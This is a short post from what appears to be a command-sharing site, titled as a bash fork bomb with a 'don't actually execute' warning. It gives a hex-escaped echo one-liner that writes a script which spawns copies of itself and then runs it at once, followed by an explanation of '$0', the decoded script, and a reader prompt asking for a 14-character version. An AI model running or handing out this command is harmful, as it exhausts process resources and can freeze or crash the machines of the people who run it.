Fork bomb (don't actually execute)

echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh
“$0” is a variable returning the name of the script that you call it in — so running “./$0&” twice amounts to the script running itself in a separate process twice.
Sample Output 
#!/bin/bash
./$0&
./$0&

0
By: realkstrawn93
2021-04-30 19:33:40
echo bash fork bomb
6

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carolynperry · 1 day ago

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

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